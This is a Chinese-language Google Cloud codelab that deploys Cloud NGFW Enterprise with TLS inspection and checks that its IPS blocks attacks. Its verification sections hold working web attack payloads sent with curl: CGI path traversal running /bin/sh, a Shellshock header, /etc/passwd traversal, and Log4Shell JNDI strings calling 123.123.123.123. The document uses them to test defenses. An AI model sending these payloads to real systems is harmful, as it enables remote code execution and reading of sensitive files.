Cloud NGFW Enterprise Codelab [具有 TLS 检查]

1. 简介

Cloud 新一代防火墙 (NGFW)

Cloud 新一代防火墙是一种完全分布式的防火墙服务,具有高级保护功能、微细分和广泛的覆盖范围,可保护您的 Google Cloud 工作负载免遭内部和外部攻击。

Cloud NGFW 具有以下优势:

  • 分布式防火墙服务:Cloud NGFW 在每个工作负载上提供基于有状态的完全分布式主机强制执行,以实现零信任安全架构。
  • 简化配置和部署:Cloud NGFW 实现网络和分层防火墙政策,可以附加到资源层次结构节点。这些政策在 Google Cloud 资源层次结构中提供一致的防火墙体验。
  • 精细控制和微细分:防火墙政策和 Identity and Access Management (IAM) 治理的标记相结合,可以跨虚拟私有云 (VPC) 网络和组织对南北向和东西向流量进行精细控制,并精确到单个虚拟机。

Cloud NGFW 可在以下层级中使用:

  • Cloud 新一代防火墙基本功能版
  • Cloud Next Generation Firewall Standard
  • Cloud 新一代防火墙企业版

Cloud NGFW 企业版

Cloud NGFW Enterprise 在分布式 Google Cloud Firewall 网络中添加了第 7 层功能入侵防御服务 (IPS)。支持 TLS 检查,以便检查 TLS 加密流量。

现在,您可以部署可靠的第 7 层新一代防火墙 (NGFW) 检查,并通过精细的控件进行管理,而无需对网络架构或路由配置进行任何更改。

如需启用和部署第 7 层防火墙控制功能(含 IPS),您需要执行以下任务:

  • 创建一组 Google Cloud 托管的可用区级防火墙端点。
  • (可选)创建 TLS 检查政策。
  • (可选)创建信任配置。
  • 将这些端点与您需要 Cloud NGFW Enterprise 服务的虚拟私有云 (VPC) 网络相关联。
  • 对现有的防火墙政策和防火墙规则进行简单更改,以指定各种流量路径的威胁防范配置文件。

网络防火墙政策

网络防火墙政策充当防火墙规则的容器。在网络防火墙政策与 VPC 网络关联之前,系统不会在任何位置强制执行该政策中定义的规则。每个 VPC 网络可以有一个与之关联的网络防火墙政策。网络防火墙政策支持在防火墙规则中使用 IAM 治理的标记(或简称“标记”),这些标记会取代当前的网络标记,可用于向工作负载提供身份。

在多个网络中共享网络防火墙政策以及与 IAM 治理的标记集成,可大大简化防火墙的配置和管理。

随着网络防火墙政策的推出,Google Cloud 的防火墙政策现在由以下组件组成:

  1. 分层防火墙政策
  2. VPC 防火墙规则
  3. 网络防火墙政策(全球区域

资源层次结构中的组织和文件夹节点支持分层防火墙政策,而 VPC 防火墙规则和网络防火墙政策则在 VPC 级别应用。VPC 防火墙规则与网络防火墙政策之间的一个重大区别是,VPC 防火墙规则只能应用于单个 VPC 网络,而网络防火墙政策可以附加到单个 VPC 或一组 VPC,还具有批量更新等其他优势。

最后,我们还有每个 VPC 网络附带的隐式防火墙规则

  • 操作为“允许”且目的地为 0.0.0.0/0 的出站规则
  • 操作为“拒绝”且来源为 0.0.0.0/0 的入站规则

默认情况下,违规处置顺序如下图所示:

21b3bcabc469ffe.png

请注意,VPC 防火墙规则和全球网络防火墙政策之间的强制执行顺序可以互换。客户可以随时使用 gcloud 命令指定违规处置命令。

标签

新的集成到网络防火墙政策规则中的标记是在 Google Cloud 资源层次结构的组织级或项目级层定义的键值对资源。此类标记包含 IAM 访问权限控件,用于指定谁可以对标记执行什么操作。例如,通过 Identity and Access Management (IAM) 权限,您可以指定哪些主账号可为标记分配值,以及哪些主账号可将标记附加到资源。如果网络防火墙规则引用了标记,则必须将其应用于资源,以便强制执行。

标记遵循 Google Cloud 的继承资源模型,这意味着标记及其值会从其父级沿层次结构向下传递。因此,标记可以在一个位置创建,然后由整个资源层次结构中的其他文件夹和项目使用。如需详细了解标记和访问权限限制,请访问此页面

请勿将标记与网络标记混淆。后者是可以添加到 Compute Engine 实例中的字符串;它们与实例相关联,并会在实例停用后消失。VPC 防火墙规则可能包含网络标记,但由于它们不被视为云资源,因此不受 IAM 访问权限控制的约束。

请注意,本文档中“标记”和“受 IAM 管控的标记”是互换使用的。

构建内容

此 Codelab 需要一个项目,并且您需要能够创建 VPC 网络以及管理多个网络和安全资源。该视频将演示 Cloud NGFW Enterprise 如何通过以下方式提供 IPS 功能:

  • 使用 TLS 检查检查南向互联网流量
  • 使用 TLS 检查功能检查 VPC 内流量 [东西流量]

系统将使用 Cloud 防火墙匹配参数(包括 5 元组 [源 IP、目标 IP、协议、源端口、目标端口] 和标记)来选择要检查的数据流。

3d0f288d3b92a295.png

网络防火墙政策规则库的最终状态将类似于下表:

优先级

方向

目标

来源

目的地

操作

类型

100

入站

Server_Tag

健康检查

不限

允许

必备应用

200

入站

Client_Tag、Server_Tag

IAP

不限

允许

必备应用

800

入站

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 检查

企业

850

出站

Client_Tag

不限

10.0.0.0/24

允许

必备应用

900

出站

Client_Tag

不限

不限

L7 检查

企业

学习内容

  • 如何创建网络防火墙政策。
  • 如何在网络防火墙政策中创建和使用标记。
  • 如何配置和使用启用了 TLS 检查的 Cloud NGFW 企业版。

所需条件

  • Google Cloud 项目。
  • 了解如何部署实例和配置网络组件。
  • VPC 防火墙配置知识。

2. 准备工作

创建/更新变量

此 Codelab 使用 $variables 来帮助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中,运行以下命令,根据需要替换括号中的信息:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 启用 API

如果您尚未启用这些 API,请执行以下操作:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW 企业版端点创建

由于 Cloud NGFW Enterprise 端点的创建过程大约需要 20 分钟,因此系统会先创建端点,然后在创建端点期间并行进行基本设置。

创建安全配置文件和安全配置文件组:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

预期输出:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

确认资源已成功创建:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

预期输出(请注意,输出格式可能会因所使用的客户端而异:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

创建 Cloud NGFW Enterprise 端点:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

运行以下命令,确认端点正在创建中(CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出(请注意,输出格式可能会因所使用的客户端而异):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

(可选)运行以下命令可获取更多详细信息:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

创建过程大约需要 20 分钟。请继续前往“基本设置”部分,以并行创建所需的资源。

5. 基本设置

VPC 网络和子网

VPC 网络和子网

创建 VPC 网络和子网:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

创建 Cloud Router 路由器和 Cloud NAT 网关:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

实例

创建客户端和 Web 服务器实例:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

项目级代码

如有需要,向用户分配 tagAdmin 权限:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

创建项目级标记键和值:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

将标记绑定到实例:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全球网络防火墙政策

创建全球网络防火墙政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

创建所需的 Cloud 防火墙基本规则,以允许来自健康检查身份感知代理范围的流量:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

创建必要的 Cloud Firewall 规则,以允许来自特定范围的东-西/子网内入站流量(这些规则将更新为启用启用了 TLS 检查的 Cloud NGFW 企业版):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

将云防火墙政策与 VPC 网络相关联:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud 防火墙端点关联

如果您尚未定义环境变量,并且/或者更倾向于使用脚本方法,请定义环境变量。

确认 Cloud Firewall 端点创建操作已成功完成。只有当状态显示为 ACTIVE 时(在创建期间,预期状态为 CREATING)才能继续操作:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出(请注意,输出格式可能会因所使用的客户端而异):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

(可选)运行以下命令可获取更多详细信息:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

将 Cloud Firewall 端点与 VPC 网络相关联:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

关联过程大约需要 10 分钟。只有当状态显示为 ACTIVE(在创建期间,预期状态为 CREATING)时,才能继续执行 TLS 部分:

gcloud network-security firewall-endpoint-associations list

完成后预期输出:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

(可选)运行以下命令可获取更多详细信息:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

预期输出:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 配置 TLS 资源

创建 CA 池。此资源将用于存放我们为 NGFW Enterprise 生成的根 CA 证书。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

创建根 CA。这是将用于为通过 NGFW Enterprise 发出的请求签署其他证书的 CA 证书。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果系统显示以下消息,请回答 y

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

创建一个服务账号。此服务账号将用于为 NGFW Enterprise 请求证书:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

为服务账号设置 IAM 权限:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

创建 TLS 政策 YAML 文件。此文件将包含特定资源的相关信息:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

导入 TLS 检查政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端点关联以启用 TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

获取 CA 证书并将其添加到客户端的 CA 存储区:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

将 CA 证书转移到客户端:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

通过 SSH 连接到虚拟机,将 CA 证书移至 /usr/local/share/ca-certificates,然后更新 CA 存储区:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退回到 Cloud Shell。

服务器证书签名流程:

在 Cloud Shell 中,使用 pip 命令安装 Pyca 加密库:

pip install --user "cryptography>=2.2.0"

如需允许 Google Cloud SDK 使用 Pyca 加密库,您必须启用网站软件包。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

创建服务器证书:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

这将在 Cloud Shell 中生成 cert.pem 和 key.pem 文件。接下来,将证书和密钥传输到服务器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

通过 SSH 连接到服务器,以更新 Apache 的证书详细信息:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

将证书和密钥移至特定文件夹:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

更新 ssl 配置以使用已签名证书:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重启 Apache:

sudo systemctl restart apache2

验证 Apache 状态:

sudo systemctl status apache2

它应处于活动(运行)状态。

退出虚拟机,然后在 Cloud Shell 中继续操作。

8. 验证北向和东西向连接

在 Cloud Shell 中运行以下命令,并记下要使用的目标 IP:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

打开一个新标签页,然后通过 IAP 发起与客户端虚拟机的 SSH 连接(您需要在新标签页中定义变量):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

运行以下命令,并记下要使用的目标 IP。创建变量,将括号中的值替换为上一步中记下的 IP,并确保它们可访问:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

使用 Curl 访问专用 IP,并确保其可访问:

curl https://$target_privateip --max-time 2

curl 请求的预期结果:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

向 IP 发送示例攻击。Web 服务器应响应所有请求,以确认未实施 L7 检查/防范措施:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

预期结果示例(专用 IP):

400
404
400
200
200

同样,向互联网目的地发送请求:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

预期结果示例(互联网目的地):

400
404
400
403
403

退出虚拟机终端并返回 Cloud Shell。

9. 创建和更新 TLS 检查的防火墙规则

之前,我们配置了一项防火墙规则,以允许从内部子网向我们的服务器发送入站流量。现在,我们将更新现有的入站规则,并将操作设置为 apply_security_profile_group。这将启用启用 TLS 的 E/W L7 检查:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

创建一条新规则,以使用 TLS 检查南向 L7 检查。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

创建一个新规则,允许 E/W 出站流量,以防止重复检查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. 验证北向 TLS 检查

切换回“客户端虚拟机”标签页或重新连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例攻击发送到互联网目的地:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

系统不会收到任何响应,如以下预期输出所示,这证实系统现在会屏蔽示例攻击:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

将该变量设置为之前的服务器 IP 地址:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

向服务器发送示例 TLS 请求:

curl https://$target_privateip --max-time 2

预期输出:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

此请求为何失败?这是因为防火墙正在接收来自不受信任的服务器的证书。如果发生这种情况,它会将自签名证书传回给客户端。我们需要在信任配置中添加 CA 证书,以启用信任。

返回 Cloud Shell。

11. 配置信任配置

获取根 CA 证书,并将其设置为格式正确的变量。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

配置信任配置 YAML 文件。此文件包含 CA 证书等信任详细信息:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

由于您的服务器证书是使用根 CA 签名的,因此上述命令会将根 CA 证书包含在信任库中。这意味着,除了公共 CA 之外(如果您的 TLS 政策将 excludePublicCaSet 设为 false),防火墙还会信任收到的任何由根 CA 签名的证书。

检查信任配置的内容。

cat trust_config.yaml 

示例输出:

请密切注意证书的缩进对齐方式。必须严格遵循此格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

导入信任配置:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 文件以添加信任配置:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

导入更新后的 TLS 政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 验证 E/W TLS 检查

通过 SSH 返回客户端,使用更新后的信任配置测试 E/W 流量:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

向服务器运行示例 TLS 请求:

curl https://$target_privateip --max-time 2

如果您仍然收到以下输出,请等待更新传播。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

预期输出:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

将恶意测试流量发送到服务器:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

预期输出:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

系统未收到任何响应,如以下预期输出所示,这证实了针对东/西攻击的示例攻击现在已被屏蔽。

13. 日志记录

在 Cloud 控制台中,依次前往 Logging > 日志浏览器,输入以下过滤条件,然后查询日志。将 [PROJECT_ID] 替换为您的 project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 日志条目应如下所示:

5b68cc1063c0f4bd.png

展开日志条目,并注意系统已识别并屏蔽了从客户端虚拟机发送到服务器的攻击(Apache Log4j 远程代码执行漏洞,如以下屏幕截图所示)。

478f18f8481e90ed.png

您已成功部署了启用了 TLS 检查功能的 Cloud NGFW Enterprise,以阻止恶意请求。

请参阅下一部分,了解清理步骤。

14. 清理步骤

基本设置清理

移除实例:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

